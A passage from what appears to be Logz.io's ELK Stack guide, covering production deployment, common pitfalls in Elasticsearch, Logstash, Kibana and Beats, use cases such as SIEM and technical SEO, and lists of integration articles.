wreaking havoc on your system. + +In this section, we will share some of our experiences from building Logz.io. We will detail some of the challenges involved in building an ELK Stack at scale as well as offer some related guidelines. + +Generally speaking, there are some basic requirements a production-grade ELK implementation needs to answer: + +1. Save and index all of the log files that it receives (sounds obvious, right?) +2. Operate when the production system is overloaded or even failing (because that’s when most issues occur) +3. Keep the log data protected from unauthorized access +4. Have maintainable approaches to data retention policies, upgrades, and more + +How can this be achieved? + +--- + +## Don’t Lose Log Data + + +If you’re troubleshooting an issue and go over a set of events, it only takes one missing logline to get incorrect results. Every log event must be captured. For example, you’re viewing a set of events in MySQL that ends with a database exception. If you lose one of these events, it might be impossible to pinpoint the cause of the problem. + +The recommended method to ensure a resilient data pipeline is to place a buffer in front of Logstash to act as the entry point for all log events that are shipped to your system. It will then buffer the data until the downstream components have enough resources to index. + +The most common buffer used in this context is Kafka, though also Redis and RabbitMQ are used. + +Elasticsearch is the engine at the heart of ELK. It is very susceptible to load, which means you need to be extremely careful when indexing and increasing your amount of documents. When Elasticsearch is busy, Logstash works slower than normal — which is where your buffer comes into the picture, accumulating more documents that can then be pushed to Elasticsearch. This is critical not to lose log events. + +--- + +## Monitor Logstash/El## asticsearch Exceptions + + +Logstash may fail when trying to index logs in Elasticsearch that cannot fit into the automatically-generated mapping. + +For example, let’s say you have a log entry that looks like this: + +timestamp=time, type=my_app, error=3,…. + +But later, your system generates a similar log that looks as follows: + +timestamp=time, type=my_app, error=”Error”,…. + +In the first case, a number is used for the _error_ field. In the second case, a string is used. As a result, Elasticsearch will NOT index the document — it will just return a failure message and the log will be dropped. + +To make sure that such logs are still indexed, you need to: + +1. 32. Work with developers to make sure they’re keeping log formats consistent. If a log schema change is required, just change the index according to the type of log. +2. Ensure that Logstash is consistently fed with information and monitor Elasticsearch exceptions to ensure that logs are not shipped in the wrong formats. Using mapping that is fixed and less dynamic is probably the only solid solution here (that doesn’t require you to start coding). + +At Logz.io, we solve this problem by building a pipeline to handle mapping exceptions that eventually index these documents in manners that don’t collide with existing mapping. + +--- + +## Keep up with growth and bursts + + +As your company succeeds and grows, so does your data. Machines pile up, environments diversify, and log files follow suit. As you scale out with more products, applications, features, developers, and operations, you also accumulate more logs. This requires a certain amount of compute resource and storage capacity so that your system can process all of them. + +In general, log management solutions consume large amounts of CPU, memory, and storage. Log systems are bursty by nature, and sporadic bursts are typical. If a file is purged from your database, the frequency of logs that you receive may range from 100 to 200 to 100,000 logs per second. + +As a result, you need to allocate up to 10 times more capacity than normal. When there is a real production issue, many systems generally report failures or disconnections, which cause them to generate many more logs. This is actually when log management systems are needed more than ever. + +--- + +## ELK Elasticity + + +One of the biggest challenges of building an ELK deployment is making it scalable. + +Let’s say you have an e-commerce site and experience an increasing number of incoming log files during a particular time of year. To ensure that this influx of log data does not become a bottleneck, you need to make sure that your environment can scale with ease. This requires that you scale on all fronts — from Redis (or Kafka), to Logstash and Elasticsearch — which is challenging in multiple ways. + +Regardless of where you’re deploying your ELK stack — be it on AWS, GCP, or in your own datacenter — we recommend having a cluster of Elasticsearch nodes that run in different availability zones, or in different segments of a data center, to ensure high availability. + +Let’s take a look at some of the components required for a scalable ELK deployment. + +### Kafka + +As mentioned above, placing a buffer in front of your indexing mechanism is critical to handle unexpected events. It could be mapping conflicts, upgrade issues, hardware issues or sudden increases in the volume of logs. Whatever the cause you need an overflow mechanism, and this where Kafka comes into the picture. + +Acting as a buffer for logs that are to be indexed, Kafka must persist your logs in at least 2 replicas, and it must retain your data (even if it was consumed already by Logstash) for at least 1-2 days. + +This goes against planning for the local storage available to Kafka, as well as the network bandwidth provided to the Kafka brokers. Remember to take into account huge spikes in incoming log traffic (tens of times more than “normal”), as these are the cases where you will need your logs the most. + +Consider how much manpower you will have to dedicate to fixing issues in your infrastructure when planning the retention capacity in Kafka. + +Another important consideration is the ZooKeeper management cluster – it has its own requirements. Do not overlook the disk performance requirements for ZooKeeper, as well as the availability of that cluster. Use a three or five node cluster, spread across racks/availability zones (but not regions). + +One of the most important things about Kafka is the monitoring implemented on it. You should always be looking at your log consumption (aka “Lag”) in terms of the time it takes from when a log message is published to Kafka until after it has been indexed in Elasticsearch and is available for search. + +Kafka also exposes a plethora of operational metrics, some of which are extremely critical to monitor: network bandwidth, thread idle percent, under-replicated partitions and more. When considering consumption from Kafka and indexing you should consider what level of parallelism you need to implement (after all, Logstash is not very fast). This is important to understand the consumption paradigm and plan the number of partitions you are using in your Kafka topics accordingly. + +### Logstash + +Knowing how many Logstash instances to run is an art unto itself and the answer depends on a great many of factors: volume of data, number of pipelines, size of your Elasticsearch cluster, buffer size, accepted latency — to name just a few. +Deploy a scalable queuing mechanism with different scalable workers. When a queue is too busy, scale additional workers to read into Elasticsearch. +Once you’ve determined the number of Logstash instances required, run each one of them in a different AZ (on AWS). This comes at a cost due to data transfer but will guarantee a more resilient data pipeline. +You should also separate Logstash and Elasticsearch by using different machines for them. This is critical because they both run as JVMs and consume large amounts of memory, which makes them unable to run on the same machine effectively. +Hardware specs vary, but it is recommended allocating a maximum of 30 GB or half of the memory on each machine for Logstash. In some scenarios, however, making room for caches and buffers is also a good best practice. + +### Elasticsearch cluster + +Elasticsearch is composed of a number of different node types, two of which are the most important: the master nodes and the data nodes. The master nodes are responsible for cluster management while the data nodes, as the name suggests, are in charge of the data (read more about setting up an Elasticsearch cluster here). + +We recommend building an Elasticsearch cluster consisting of at least three master nodes because of the common occurrence of split brain, which is essentially a dispute between two nodes regarding which one is actually the master. + +As far as the data nodes go, we recommend having at least two data nodes so that your data is replicated at least once. This results in a minimum of five nodes: the three master nodes can be small machines, and the two data nodes need to be scaled on solid machines with very fast storage and a large capacity for memory. + +### Run in Different AZs (But Not in Different Regions) + +We recommend having your Elasticsearch nodes run in different availability zones or in different segments of a data center to ensure high availability. This can be done through an [Elasticsearch setting](https://www.elastic.co/guide/en/elasticsearch/reference/current/important-settings.html) that can configure every document to be replicated between different AZs. As with Logstash, the resulting costs resulting from this kind of deployment can be quite steep due to data transfer. + + +--- + + +## Security + +- Due to the fact that logs may contain sensitive data, it is crucial to + - protect who can see what. + - How can you limit access to specific dashboards, visualizations, or data inside your log analytics platform? + - There is no simple way to do this in the ELK Stack. + +One option is to use `nginx reverse proxy` to access your Kibana dashboard +- it entails a simple nginx configuration that requires those who want to access the dashboard to have a username and password. +- This quickly blocks access to your Kibana console and can `configure authentication` as well as `add SSL/TLS encryption Elastic` + +Elastic recently announced making some security features free, incl. `encryption, role-based access, and authentication`. More advanced security configurations and integrations, + +however, e.g. `LDAP/AD support, SSO, encryption at rest`, are not available out of the box. Keep in mind that while these features are indeed free of charge, they are not completely open source. + +Another option is SearchGuard which provides a free security plugin for Elasticsearch including role-based access control and SSL/TLS encrypted node-to-node communication. It’s also worth mentioning Amazon’s OpenDistro for Elasticsearch that comes built in with an open source security plugin with similar capabilities. + +Last but not least, be careful when exposing Elasticsearch because it is very susceptible to attacks. There are some basic steps to take that will help you secure your Elasticsearch instances. + + +--- + + +## Maintainability + + +### Log Data Consistency + +Logstash processes and parses logs in accordance with a set of rules defined by filter plugins. Therefore, if you have an access log from nginx, you want the ability to view each field and have visualizations and dashboards built based on specific fields. You need to apply the relevant parsing abilities to Logstash — which has proven to be quite a challenge, particularly when it comes to building groks, debugging them, and actually parsing logs to have the relevant fields for Elasticsearch and Kibana. + +At the end of the day, it is very easy to make mistakes using Logstash, which is why you should carefully test and maintain all of your log configurations by means of version control. That way, while you may get started using nginx and MySQL, you may incorporate custom applications as you grow that result in large and hard-to-manage log files. The community has generated a lot of solutions around this topic, but trial and error are extremely important with open source tools before using them in production. + +### Data Retention + +Another aspect of maintainability comes into play with excess indices. Depending on how long you want to retain data, you need to have a process set up that will automatically delete old indices — otherwise, you will be left with too much data and your Elasticsearch will crash, resulting in data loss. + +To prevent this from happening, you can use Elasticsearch Curator to delete indices. We recommend having a cron job that automatically spawns Curator with the relevant parameters to delete any old indices, ensuring you don’t end up holding too much data. It is commonly required to save logs to S3 in a bucket for compliance, so you want to be sure to have a copy of the logs in their original format. + +Upgrades +-------- + +Major versions of the stack are released quite frequently, with great new features but also breaking changes. It is always wise to read and do research on what these changes mean for your environment before you begin upgrading. Latest is not always the greatest! + +Performing Elasticsearch upgrades can be quite an endeavor but has also become safer due to [some recent changes](https://logz.io/blog/elastic-stack-6-new/). First and foremost, you need to make sure that you will not lose any data as a result of the process. Run tests in a non-production environment first. Depending on what version you are upgrading from and to, be sure you understand the process and what it entails. + +Logstash upgrades are generally easier, but pay close attention to the compatibility between Logstash and Elasticsearch and breaking changes. + +Kibana upgrades can be problematic, especially if you’re running on an older version. Importing objects is “generally” supported, but you should backup your objects and test the upgrade process before upgrading in production. As always — study breaking changes! + +Summary +------- + +Getting started with ELK to process logs from a server or two is easy and fun. Like any other production system, it takes much more work to reach a solid production deployment. We know this because we’ve been working with many users who struggle with making ELK operational in production. Read more about [the real cost of doing ELK on your own](https://logz.io/blog/the-cost-of-doing-elk-stack-on-your-own/). + +_Did we miss something? Did you find a mistake? We’re relying on your feedback to keep this guide up-to-date. Please add your comments at the bottom of the page, or send them to: elk-guide@logz.io_ + +# Common Pitfalls +=============== + +Like any piece of software, the ELK Stack is not without its pitfalls. While relatively easy to set up, the different components in the stack can become difficult to handle as soon as you move on to complex setups and a larger scale of operations necessary for handling multiple data pipelines. + +There’s nothing like trial and error. At the end of the day, the more you do, the more you err and learn along the way. At Logz.io, we have accumulated a decent amount of Elasticsearch, Logstash and Kibana time, and are happy to share our hard-earned lessons with our readers. + +There are several common, and yet sometimes critical, mistakes that users tend to make while using the different components in the stack. Some are extremely simple and involve basic configurations, others are related to best practices. In this section of the guide, we will outline some of these mistakes and how you can avoid making them. + +Elasticsearch +------------- + +### Not defining Elasticsearch mapping + +Say that you start Elasticsearch, create an index, and feed it with JSON documents without incorporating schemas. Elasticsearch will then iterate over each indexed field of the JSON document, estimate its field, and create a respective mapping. While this may seem ideal, Elasticsearch mappings are not always accurate. If, for example, the wrong field type is chosen, then indexing errors will pop up. + +To fix this issue, you should define mappings, especially in production-line environments. It’s a best practice to index a few documents, let Elasticsearch guess the field, and then grab the mapping it creates with GET /index_name/doc_type/_mapping. You can then take matters into your own hands and make any appropriate changes that you see fit without leaving anything up to chance. + +For example, if you index your first document like this: + +{ +“action”: “Some action”, + +“payload”: “2016-01-20” +} + +Elasticsearch will automatically map the “payload” field as a date field + +Now, suppose that your next document looks like this: + +{ +“action”: “Some action 1”, + +“payload”: “USER_LOCKED” +} + +In this case, “payload” of course is not a date, and an error message may pop up and the new index will not be saved because Elasticsearch has already marked it as “date.” + +### Capacity Provisioning + +Provisioning can help to equip and optimize Elasticsearch for operational performance. It requires that Elasticsearch is designed in such a way that will keep nodes up, stop memory from growing out of control, and prevent unexpected actions from shutting down nodes. + +“How much space do I need?” is a question that users often ask themselves. Unfortunately, there is no set formula, but certain steps can be taken to assist with the planning of resources. + +First, simulate your actual use-case. Boot up your nodes, fill them with real documents, and push them until the shard breaks. + +Still, be sure to keep in mind that the concept of “start big and scale down” can save you time and money when compared to the alternative of adding and configuring new nodes when your current amount is no longer enough. + +Once you define a shard’s capacity, you can easily apply it throughout your entire index. It is very important to understand resource utilization during the testing process because it can reserve the proper amount of RAM for nodes, configure your JVM heap space, and optimize your overall testing process. + +### Oversized Template + +Large templates are directly related to large mappings. In other words, if you create a large mapping for Elasticsearch, you will have issues with syncing it across your nodes, even if you apply them as an index template. + +The issues with big index templates are mainly practical — you might need to do a lot of manual work with the developer as the single point of failure — but they can also relate to Elasticsearch itself. Remember: You will always need to update your template when you make changes to your data model. + +### Production Fine-tuning + +By default, the first cluster that Elasticsearch starts is called elasticsearch. If you are unsure about how to change a configuration, it’s best to stick to the default configuration. However, it is a good practice to rename your production cluster to prevent unwanted nodes from joining your cluster. + +Below is an example of how you might want to rename your cluster and nodes: + +cluster.name: elasticsearch_production +node.name: elasticsearch_node_001 + +### Logstash + +### Logstash configuration file + +This is one of the main pain points not only for working with Logstash but for the entire stack. Having your entire ELK-based pipelines stalled because of a bad Logstash configuration error is not an uncommon occurrence. + +Hundreds of different plugins with their own options and syntax instructions, differently located configuration files, files that tend to become complex and difficult to understand over time — these are just some of the reasons why Logstash configuration files are the cemetery of many a pipeline. + +As a rule of the thumb, try and keep your Logstash configuration file as simple as possible. This also affects performance. Use only the [plugins](https://logz.io/blog/logstash-plugins/) you are sure you need. This is especially true of the various filter plugins which tend to add up necessarily. + +If possible — test and verify your configurations before starting Logstash in production. If you’re running Logstash from the command line, use the –config.test_and_exit parameter. Use the grok debugger to test your grok filter. + +### Memory consumption + +Logstash runs on JVM and consumes a hefty amount of resources to do so. Many discussions have been floating around regarding Logstash’s significant memory consumption. Obviously, this can be a great challenge when you want to send logs from a small machine (such as AWS micro instances) without harming application performance. + +Recent versions of Logstash and the ELK Stack have improved this inherent weakness. The new execution engine was introduced in version 7.x promises to speed up performance and the resource footprint Logstash has. + +Also, Filebeat and/or Elasticsearch Ingest Node, can help with outsourcing some of the processing heavy lifting to the other components in the stack. You can also make use of monitoring APIs to identify bottlenecks and problematic processing. + +### Slow processing + +Limited system resources, a complex or faulty configuration file, or logs not suiting the configuration can result in extremely slow processing by Logstash that might result in data loss. + +You need to closely monitor key system metrics to make sure you’re keeping tabs on Logstash processing — monitor the host’s CPU, I/O, memory and JVM heap. Be ready to fine-tune your system configurations accordingly (e.g. raising the JVM heap size or raising the number of pipeline workers). There is a nice [performance checklist here](https://www.elastic.co/guide/en/logstash/current/performance-troubleshooting.html). + +### Key-Value Filter Plugin + +Key-values is a filter plug-in that extracts keys and values from a single log using them to create new fields in the structured data format. For example, let’s say a logline contains “x=5”. If you pass that through a key-value filter, it will create a new field in the output JSON format where the key would be “x” and the value would be “5”. + +By default, the key-value filter will extract every key=value pattern in the source field. However, the downside is that you don’t have control over the keys and values that are created when you let it work automatically, out-of-the-box with the default configuration. It may create many keys and values with an undesired structure, and even malformed keys that make the output unpredictable. If this happens, Elasticsearch may fail to index the resulting document and parse irrelevant information. + +Kibana +------ + +### Elasticsearch connectivity + +Kibana is a UI for analyzing the data indexed in Elasticsearch– A super-useful UI at that, but still, only a UI. As such, how Kibana and Elasticsearch talk to each other directly influences your analysis and visualization workflow. It’s easy to miss some basic steps needed to make sure the two behave nicely together. + +### Defining an index pattern + +There’s little use for of an analysis tool if there is no data for it to analyze. If you have no data indexed in Elasticsearch or have not defined the correct index pattern for Kibana to read from, your analysis work cannot start. + +So, verify that a) your data pipeline is working as expected and indexing data in Elasticsearch (you can do this by querying Elasticsearch indices), and b) you have defined the correct index pattern in Kibana (Management → Index Patterns in Kibana). + +### Can not connect to Elasticsearch + +A common glitch when setting up Kibana is to misconfigure the connection with Elasticsearch, resulting in the following message when you open Kibana: +![Cannot connect to Elasticsearch](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7) + +![Cannot connect to Elasticsearch](https://logz.io/wp-content/uploads/2018/08/image11.png) + +As the message reads, Kibana simply cannot connect to an Elasticsearch instance. There are some simple reasons for this — Elasticsearch may not be running, or Kibana might be configured to look for an Elasticsearch instance on a wrong host and port. + +The latter is the more common reason for seeing the above message, so open the Kibana configuration file and be sure to define the IP and port of the Elasticsearch instance you want Kibana to connect to. + +### Bad Kibana searches + +[Querying Elasticsearch](https://logz.io/blog/elasticsearch-queries/) from Kibana is an art because many different types of searches are available. From free-text searches to field-level and regex searches, there are many options, and this variety is one of the reasons that people opt for the ELK Stack in the first place. As implied in the opening statement above, some Kibana searches are going to crash Elasticsearch in certain circumstances. + +For example, using a leading wildcard search on a large dataset has the potential of stalling the system and should, therefore, be avoided. + +Try and avoid using wildcard queries if possible, especially when performed against very large data sets. + +### Advanced settings + +Some Kibana-specific configurations can cause your browser to crash. For example, depending on your browser and system settings, changing the value of the discover:sampleSize setting to a high number can easily cause Kibana to freeze. + +That is why the good folks at Elastic have placed a warning at the top of the page that is supposed to convince us to be extra careful. Anyone with a guess on how successful this warning is? +![Advanced settings](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7) + +![Advanced settings](https://logz.io/wp-content/uploads/2018/08/image13-1-1024x513.png) + +Beats +----- + +The log shippers belonging to the Beats family are pretty resilient and fault-tolerant. They were designed to be lightweight in nature and with a low resource footprint. + +### YAML configuration files + +The various beats are configured with YAML configuration files. YAML being YAML, these configurations are extremely syntax sensitive. You can find a list of tips for writing these files [in this article](https://logz.io/blog/configuring-elasticsearch-beats/), but generally speaking, it’s best to handle these files carefully — validate your files using an online YAML validator, makes use of the example files provided in the different packages, and use spaces instead of tabs. + +### Filebeat – CPU Usage + +Filebeat is an extremely lightweight shipper with a small footprint, and while it is extremely rare to find complaints about Filebeat, there are some cases where you might run into high CPU usage. + +One factor that affects the amount of computation power used is the scanning frequency — the frequency at which Filebeat is configured to scan for files. This frequency can be defined for each prospector using the scan_frequency setting in your Filebeat configuration file, so if you have a large number of prospectors running with a tight scan frequency, this may result in excessive CPU usage. + +### Filebeat – Registry File + +Filebeat is designed to remember the previous reading for each log file being harvested by saving its state. This helps Filebeat ensure that logs are not lost if, for example, Elasticsearch or Logstash suddenly go offline (that never happens, right?). + +This position is saved to your local disk in a dedicated registry file, and under certain circumstances, when creating a large number of new log files, for example, this registry file can become quite large and begin to consume too much memory. + +It’s important to note that there are some good options for making sure you don’t fall into this caveat — you can use the _clean_removed_ option, for example, to tell Filebeat to clean non-existing files from the registry file. + +### Filebeat – Removed or Renamed Log Files + +File handlers for removed or renamed log files might exhaust disk space. As long as a harvester is open, the file handler is kept running. Meaning that if a file is removed or renamed, Filebeat continues to read the file, the handler consuming resources. If you have multiple harvesters working, this comes at a cost. + +Again, there are workarounds for this. You can use the close_inactive configuration setting to tell Filebeat to close a file handler after identifying inactivity for a defined duration and the closed_removed setting can be enabled to tell Filebeat to shut down a harvester when a file is removed (as soon as the harvester is shut down, the file handler is closed and this resource consumption ends.) + +Summing it up +------------- + +The ELK Stack is a fantastic piece of software with some known and some less-known weak spots. + +The good news is that all of the issues listed above can be easily mitigated and avoided as described. The bad news is that there are additional pitfalls that have not been detailed here. + +Here are some articles with more tips and best practices to help avoid them: + +* [Top 5 Elasticsearch Mistakes](https://logz.io/blog/the-top-5-elasticsearch-mistakes-how-to-avoid-them/) +* [5 Logstash Pitfalls You Need to Avoid](https://logz.io/blog/5-logstash-pitfalls-and-how-to-avoid-them/) +* [5 Filebeat Pitfalls To Be Aware Of](https://logz.io/blog/filebeat-pitfalls/) +* [5 Easy Ways to Crash Elasticsearch](https://logz.io/blog/5-easy-ways-to-crash-elk/) + +Be diligent. Do your research. + +Did we miss something? Did you find a mistake? We’re relying on your feedback to keep this guide up-to-date. Please add your comments at the bottom of the page, or send them to: elk-guide@logz.io + +# Use Cases +========= + +The ELK Stack is most commonly used as a log analytics tool. Its popularity lies in the fact that it provides a reliable and relatively scalable way to aggregate data from multiple sources, store it and analyze it. As such, the stack is used for a variety of different use cases and purposes, ranging from development to monitoring, to security and compliance, to SEO and BI. + +Before you decide to set up the stack, understand your specific use case first. This directly affects almost all the steps implemented along the way — where and how to install the stack, how to configure your Elasticsearch cluster and which resources to allocate to it, how to build data pipelines, how to secure the installation — the list is endless. + +So, what are you going to be using ELK for? + +--- + +## Development and troubleshooting + + +Logs are notorious for being in handy during a crisis. The first place one looks at when an issue takes place are your error logs and exceptions. Yet, logs come in handy much earlier in an application’s lifecycle. + +We are strong believers in log-driven development, where logging starts from the very first function written and then subsequently instrumented throughout the entire application. Implementing logging into your code adds a measure of observability into your applications that come in handy when troubleshooting issues. + +Whether you are developing a monolith or microservices, the ELK Stack comes into the picture early on as a means for developers to correlate, identify and troubleshoot errors and exceptions taking place, preferably in testing or staging, and before the code goes into production. Using a variety of different appenders, frameworks, libraries and shippers, log messages are pushed into the ELK Stack for centralized management and analysis. + +Once in production, Kibana dashboards are used for monitoring the general health of applications and specific services. Should an issue take place, and if logging was instrumented in a structured way, having all the log data in one centralized location helps make analysis and troubleshooting a more efficient and speedy process. + + + +--- + +## Cloud operations + + +Modern IT environments are multilayered and distributed in nature, posing a huge challenge for the teams in charge of operating and monitoring them. Monitoring across all the different systems and components comprising an application’s architecture is extremely time and resource consuming. + +To be able to accurately gauge and monitor the status and general health of an environment, DevOps and IT Operations teams need to take into account the following key considerations: how to access each machine, how to collect the data, how to add context to the data and process it, where to store the data and how long to store it for, how to analyze the data, how to secure the data and how to back it up. + +The ELK Stack helps by providing organizations with the means to tackle these questions by providing an almost all-in-one solution. Beats can be deployed on machines to act as agents forwarding log data to Logstash instances. Logstash can be configured to aggregate the data and process it before indexing the data in Elasticsearch. Kibana is then used to analyze the data, detect anomalies, perform root cause analysis, and build beautiful monitoring dashboards. + +And it’s not just logs. While Elasticsearch was initially designed for full-text search and analysis, it is increasingly being used for metrics analysis as well. Monitoring performance metrics for each component in your architecture is key for gaining visibility into operations. Collecting these metrics can be done using 3rd party auditing or monitoring agents or even using some of the available beats (e.g. Metricbeat, Packetbeat) and Kibana now ships with new visualization types to help analyze time series (Timelion, Visual Builder). + +--- + +## Application perform## ance monitoring (APM) + + +Application Performance Monitoring, aka APM, is one of the most common methods used by engineers today to measure the availability, response times and behavior of applications and services. + +[Elastic APM](https://logz.io/blog/application-performance-monitoring/) is an application performance monitoring system which is built on top of the ELK Stack. Similar to other APM solutions in the market, Elastic APM can track key performance-related information such as requests, responses, database transactions, errors, etc. + +Likewise, open source distributed tracing tools such as [Zipkin](https://logz.io/blog/zipkin-elk/) and Jaeger can be integrated with ELK for diving deep into application performance. + +--- + + + +## Security and compliance + + +Security has always been crucial for organizations. Yet over the past few years, because of both an increase in the frequency of attacks and compliance requirements (HIPAA, PCI, SOC, FISMA, etc.), employing security mechanisms and standards has become a top priority. + +Because log data contains a wealth of valuable information on what is actually happening in real time within running processes, it should come as little surprise that security is fast becoming a strong use case for the ELK Stack. + +Despite the fact that as a standalone stack, ELK does not come with security features built-in, the fact that you can use it to centralize logging from your environment and create monitoring and security-orientated dashboards has led to the integration of the stack with some prominent security standards. + +Here are two examples of how the ELK Stack can be implemented as part of a security-first deployment. + +### 1.Anti-DDoS + +Once a DDoS attack is mounted, time is of the essence. Quick identification is key to minimizing the damage, and that’s where log monitoring comes into the picture. Logs contain the raw footprint generated by running processes and thus offer a wealth of information on what is happening in real time. + +[Using the ELK Stack](https://logz.io/blog/anti-ddos-attack-protection/), organizations can build a system that aggregates data from the different layers in an IT environment (web server, databases, firewalls, etc.), process the data for easier analysis and visualizes the data in powerful monitoring dashboards. + +### 2.SIEM + +SIEM is an approach to enterprise security management that seeks to provide a holistic view of an organization’s IT security. The main purpose of SIEM is to provide a simultaneous and comprehensive view of your IT security. The SIEM approach includes a consolidated dashboard that can identify activity, trends, and patterns easily. If implemented correctly, SIEM can prevent legitimate threats by identifying them early, monitoring online activity, providing compliance reports, and supporting incident-response teams. + +The ELK Stack can be instrumental in [achieving SIEM](https://logz.io/blog/aws-security/). Take an AWS-based environment as an example. Organizations using AWS services have a large amount of auditing and logging tools that generate log data, auditing information and details on changes made to the configuration of the service. These distributed data sources can be tapped and used together to give a good and centralized security overview of the stack. + +Read more about SIEM and ELK [here](https://logz.io/blog/siem-dashboard-aws-elk-stack/). + +--- + +## Business Intelligence (BI) + + +[Business Intelligence](https://logz.io/blog/what-is-business-intelligence/) (BI) is the use of software, tools, and applications to analyze an organization’s raw data with the goal of optimizing decisions, improving collaboration, and increasing overall performance. + +The process involves collecting and analyzing large sets of data from varied data sources: databases, supply chains, personnel records, manufacturing data, sales and marketing campaigns, and more. The data itself might be stored in internal data warehouses, private clouds or public clouds, and the engineering involved in extracting and processing the data (ETL) has given rise to a number of technologies, both proprietary and open source. +As with the previous use cases outlined here, the ELK Stack comes in handy for pulling data from these varied data sources into one centralized location for analysis. For example, we might pull [web server access logs](https://logz.io/blog/apache-log-analyzer/) to learn how our users are accessing our website, We might tap into our [CRM system](https://logz.io/blog/analyze-salesforce-elk-stack/) to learn more about our leads and users, or we might check out the data our marketing automation tool provides. + +There are a whole bunch of proprietary tools used for precisely this purpose. But the ELK Stack is a cheaper and open source option to perform almost all of the actions these tools provide. + +SEO +--- + +Technical SEO is another edge use case for the ELK Stack but a relevant one nonetheless. What has SEO to do with ELK? Well, the common denominator is of course logs. + +Web server access logs (Apache, nginx, IIS) reflect an accurate picture of who is sending requests to your website, including requests made by bots belonging to search engines crawling the site. SEO experts will be using this data to monitor the number of requests made by Baidu, BingBot, GoogleBot, Yahoo, Yandex and others. + +Technical SEO experts use log data to monitor when bots last crawled the site but also to optimize crawl budget, website errors and faulty redirects, crawl priority, duplicate crawling, and plenty more. Check out our guide on [how to use log data for technical SEO](https://logz.io/blog/log-analysis-technical-seo/). + +# Integrations +============ + +Almost any data source can be tapped into to ship log data into the ELK Stack. What method you choose will depend on your requirements, specific environment, preferred toolkit, and many more. + +Over the last few years, we have written a large number of articles describing different ways to integrate the ELK Stack with different systems, applications and platforms. The method varies from a data source to data source — it could be a Docker container, Filebeat or another beat, Logstash and so forth. Just take your pick. + +Below, is a list of these integrations just in case you’re looking into implementing it. We’ve tried to categorize them into separate categories for easier navigation. + +Please note that most include Logz.io-specific instructions as well, including ready-made dashboards that are part of our ELK Apps library. Integrations with instructions for integrating with the Logz.io ELK are marked. + +### Beats + +* [Metricbeat](https://logz.io/blog/metricbeat-elastic-stack-5-0/) +* [Winlogbeat](https://logz.io/blog/windows-event-log-analysis/) +* [Auditbeat](https://logz.io/blog/linux-auditbeat-elk/) +* [Packetbeat](https://logz.io/blog/network-log-analysis-packetbeat-elk-stack/) +* [Heartbeat](https://logz.io/blog/monitor-service-uptime/) + +### Web servers + +* [Apache](https://logz.io/blog/apache-log-analyzer/) +* [Nginx](https://logz.io/blog/nginx-web-server-monitoring/) +* [IIS](https://logz.io/blog/iis-log-analyzer/) + +### DevOps + +* [Puppet](https://logz.io/blog/puppet-server-monitoring-part-1/) +* [Jenkins](https://logz.io/blog/jenkins-elk-stack/) +* [Chef](https://logz.io/blog/chef-server-logging-with-elk/) +* [GitLab](https://logz.io/blog/monitoring-gitlab-elk-stack/) +* [CloudFoundry](https://logz.io/blog/cloud-foundry-elk-stack/) +* [Sysdig](https://logz.io/blog/sysdig-elk-stack/) +* [Heroku](https://logz.io/blog/heroku-log-analysis-elk-stack/)* +* [Kafka](https://logz.io/blog/kafka-logging/) + +### Databases + +* [MySQL](https://logz.io/blog/mysql-log-analysis/)* +* [MongoDB](https://logz.io/blog/mongodb-performance-monitoring-elk-stack/) +* [Redis](https://logz.io/blog/Elasticsearch-performance-monitoring-elk-stack/) + +### AWS + +* [ELB](https://logz.io/blog/aws-elb-log-analysis/) +* [CloudTrail](https://logz.io/blog/aws-cloudtrail-elk-stack/) +* [CloudWatch](https://logz.io/blog/cloudwatch-lambda-shipper/)* +* [Lambda](https://logz.io/blog/monitoring-lambda-part-1/)* +* [VPC Flow](https://logz.io/blog/vpc-flow-log-analysis/)* +* [Beanstalk](https://logz.io/blog/logging-aws-elastic-beanstalk-elk-stack/)* +* [ECS](https://logz.io/blog/amazon-ec2-container-service-ecs-log-analysis/)* +* [CloudFront](https://logz.io/blog/cloudfront-log-analysis/)* +* [GuardDuty](https://logz.io/blog/guardduty-monitoring/)* + +### Docker + +* [Docker logging with ELK – Part 1](https://logz.io/blog/docker-logging/) +* [Docker logging with ELK – Part 2](https://logz.io/blog/docker-logging-elk-stack-part-two/) + +### Containers Orchestrators + +* [DC/OS](https://logz.io/blog/dcos-elk/) +* [Kubernetes](https://logz.io/blog/kubernetes-logging/) +* [Docker Swarm](https://logz.io/blog/docker-swarm-logging/) + +### Google Cloud Platform + +* [Google Pub/Sub](https://logz.io/blog/google-pub-sub/) +* [GKE](https://logz.io/blog/kubernetes-gke-elk/)* + +### Azure + +* [Network Security Group Flow logs](https://logz.io/blog/azure-nsg-elk/) +* [Application Gateway](https://logz.io/blog/monitor-azure-application-gateway/) +* [Activity Logs](https://logz.io/blog/azure-activity-logs/) + +### Security + +* [Wazuh](https://logz.io/blog/logzio-wazuh-ossec-hids/) +* Bro IDS [1](https://logz.io/blog/bro-elk-part-1/) | [2](https://logz.io/blog/bro-elk-part-2/) +* [Using the ELK Stack for SIEM](https://logz.io/blog/elk-siem/) +* [Suricata](https://logz.io/blog/network-security-monitoring/) + +### Misc. + +* [Java Garbage Collection](https://logz.io/blog/java-garbage-collection/) +* [Twitter](https://logz.io/blog/analyzing-twitter-elk-stack/) +* [Salesforce](https://logz.io/blog/analyze-salesforce-elk-stack/) +* [Slack](https://logz.io/blog/interpreting-your-slack-data-with-the-elk-stack/) + + +# Additional Resources + +### General + +* [10 Resources to Bookmark if You’re Running ELK](https://logz.io/blog/10-resources-you-should-bookmark-if-you-run-your-own-elk-stack/) +* [What’s new in Elastic Stack 7](https://logz.io/blog/whats-new-in-elastic-stack-7/) +* [The Cost of Doing ELK on Your Own](https://logz.io/blog/the-cost-of-doing-elk-stack-on-your-own/) + +### Elasticsearch + +* [Elasticsearch Mapping](https://logz.io/blog/elasticsearch-mapping/) +* [Securing Elasticsearch Clusters](https://logz.io/blog/securing-elasticsearch-clusters/) +* [Elasticsearch Performance Monitoring](https://logz.io/blog/elasticsearch-performance-monitoring/) +* [Elasticsearch Performance Tuning](https://logz.io/blog/elasticsearch-performance-tuning/) + +### Logstash + +* [A Beginner’s Guide to Logstash Grok](https://logz.io/blog/logstash-grok/) +* [Monitoring Logstash Pipelines](https://logz.io/blog/logstash-pipelines/) +* [Fluentd vs. Logstash](https://logz.io/blog/fluentd-logstash/) +* [A Guide to Logstash Plugins](https://logz.io/blog/logstash-plugins/) +* [How to Debug your Logstash 